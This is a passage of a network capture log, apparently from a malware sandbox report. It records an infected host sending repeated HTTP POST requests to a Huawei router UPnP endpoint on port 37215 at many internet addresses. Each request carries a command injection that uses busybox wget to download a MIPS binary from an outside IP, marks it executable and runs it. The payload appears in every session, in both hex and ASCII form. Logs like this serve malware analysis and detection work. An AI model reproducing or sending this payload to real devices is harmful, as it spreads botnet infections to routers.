6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.14	35070	41.124.245.197	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.932045937 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.14	53906	197.230.114.235	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.932656050 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.14	41166	41.33.244.153	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.933437109 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.14	53676	156.16.70.72	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.934061050 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.14	57632	197.54.193.91	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.934770107 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.14	56284	197.103.13.13	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.935348988 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.14	53826	156.73.55.186	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.935921907 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.14	56220	156.251.83.218	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.936522961 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.14	45720	156.235.86.196	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.937093019 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.14	57522	156.125.121.36	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.937638044 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.14	45674	197.57.80.139	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.938186884 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 